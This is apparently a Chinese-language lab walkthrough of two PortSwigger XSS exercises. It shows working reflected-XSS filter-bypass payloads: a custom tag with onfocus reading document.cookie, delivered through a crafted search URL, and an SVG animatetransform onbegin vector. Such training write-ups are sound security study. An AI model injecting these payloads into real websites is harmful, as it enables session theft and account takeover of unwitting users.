渗透实战PortSwigger Labs指南:自定义标签XSS和SVG XSS利用
阻止除自定义标签之外的所有标签
先输入一些标签测试,说是全部标签都被禁了
除了自定义的
自定义<my-tag onmouseover=alert('xss')>
<my-tag id=x onfocus=alert(document.cookie) tabindex=1>
onfocus
当元素获得焦点时(如通过点击或键盘导航),触发 alert(document.cookie)
,弹窗显示当前页面的Cookie信息。
id=x
为元素分配唯一标识符,便于JavaScript或CSS操作。
tabindex=1
使元素可通过键盘Tab键聚焦,从而更容易触发 onfocus
事件。
https://0a4200f7037b125b813143f700db001d.web-security-academy.net/?search=%3Cmy-tag+id%3Dx+onfocus%3Dalert%28document.cookie%29+tabindex%3D1%3E#x
最后加个#x
#是聚焦到对应的元素
允许使用一些 SVG 标记的反射型 XSS
先输入基础标签<h1>test</h1>
测试,发现依旧存在拦截
继续爆破,经过测试这四个 tags 可以使用
测试 event 中只有onbegin
可以用
结合起来<svg><animatetransform onbegin=alert(1)>
animatetransform 是用来加载动画效果的,onbegin 是开始加载时触发 alert
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d